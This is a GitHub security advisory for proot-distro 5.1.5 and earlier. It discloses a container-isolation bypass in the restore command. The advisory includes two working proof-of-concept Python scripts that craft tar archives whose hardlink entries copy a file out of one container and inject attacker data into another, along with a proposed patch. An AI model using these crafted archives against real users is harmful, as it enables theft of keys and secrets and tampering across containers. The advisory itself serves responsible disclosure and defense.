Skip to content

Container Isolation Bypass via Crafted Restore Archive in proot-distro

High
sylirre published GHSA-7h3g-4w2f-fj2f Jun 10, 2026

Package

pip proot-distro (pip)

Affected versions

<= 5.1.5

Patched versions

5.1.6

Description

Container Isolation Bypass via Crafted Restore Archive in proot-distro restore

Repository

https://github.com/termux/proot-distro

Maintainer: @sylirre


Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
  • Primary CWE: CWE-668 (Exposure of Resource to Wrong Sphere)

  • Affected Versions

    Component Version
    proot-distro 5.1.5 (confirmed affected)
    Test distro Alpine Linux
    Architecture aarch64
    Device Samsung Galaxy A23
    Package source https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

    Summary

    When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

    The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

    Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

    As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.


    Proof of Concept #1 — Cross-Container File Disclosure

    All testing was performed using self-owned containers and harmless marker data only.

    Step 1 — Create a victim container and marker file

    proot-distro install alpine --name victim
    

    proot-distro login victim -- sh -lc '
    mkdir -p /root
    printf "PROOF-12345\n" > /root/proof.txt
    '

    Verification:

    proot-distro login victim -- cat /root/proof.txt
    

    PROOF-12345


    Step 2 — Create an attacker container

    proot-distro install alpine --name attacker
    

    Step 3 — Build a crafted archive

    python3 -c '
    import tarfile
    

    tf = tarfile.open("malicious.tar", "w")

    d = tarfile.TarInfo("attacker/rootfs/exfil")
    d.type = tarfile.DIRTYPE
    d.mode = 0o755
    tf.addfile(d)

    h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
    h.type = tarfile.LNKTYPE
    h.linkname = "victim/rootfs/root/proof.txt"
    h.mode = 0o600
    tf.addfile(h)

    tf.close()
    '


    Step 4 — Restore the crafted archive

    proot-distro restore ./malicious.tar
    

    Step 5 — Read the copied file from the attacker container

    proot-distro run attacker -- cat /exfil/stolen_key
    

    Observed output:

    PROOF-12345
    

    This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.


    Proof of Concept #2 — Cross-Container File Injection

    Step 1 — Create attacker-controlled source data

    proot-distro install alpine --name attacker
    

    proot-distro login attacker -- sh -lc '
    mkdir -p /root
    printf "ATTACKER_DATA\n" > /root/source.txt
    '


    Step 2 — Create a victim container

    proot-distro install alpine --name victim
    

    Step 3 — Build a crafted archive

    python3 -c '
    import tarfile
    

    tf = tarfile.open("write_test.tar", "w")

    h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
    )

    h.type = tarfile.LNKTYPE
    h.linkname = "attacker/rootfs/root/source.txt"
    h.mode = 0o600

    tf.addfile(h)
    tf.close()
    '


    Step 4 — Restore the crafted archive

    proot-distro restore ./write_test.tar
    

    Step 5 — Verify file injection into the victim container

    cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"
    

    Observed output:

    ATTACKER_DATA
    

    This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.


    Impact

    An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

    Observed impacts include:

    • Disclosure of files from other installed containers.
    • Injection of attacker-controlled files into other installed containers.
    • Exposure of SSH private keys.
    • Exposure of API credentials.
    • Exposure of configuration files containing secrets.
    • Exposure of application databases stored inside container rootfs directories.

    The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.


    Root Cause

    During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.

    The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

    As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.


    Proposed Fix

    link_container, link_src = _dest_path(member.linkname)
    

    if link_src is None:
    continue

    if link_container != container_name:
    continue

    link_src = _safe_dest(
    link_container,
    link_src,
    follow_final=True
    )

    This preserves existing path traversal protections while restoring the expected isolation boundary between containers.


    Additional Notes

    • Issue reproduced on the official Termux package repository.
    • No root access was used.
    • No third-party data was accessed.
    • Testing used only self-owned containers and harmless marker data.
    • Cross-container disclosure reproduced using the marker value PROOF-12345.
    • Cross-container file injection reproduced using the marker value ATTACKER_DATA.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-54727

Weaknesses

Exposure of Resource to Wrong Sphere

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. Learn more on MITRE.

Credits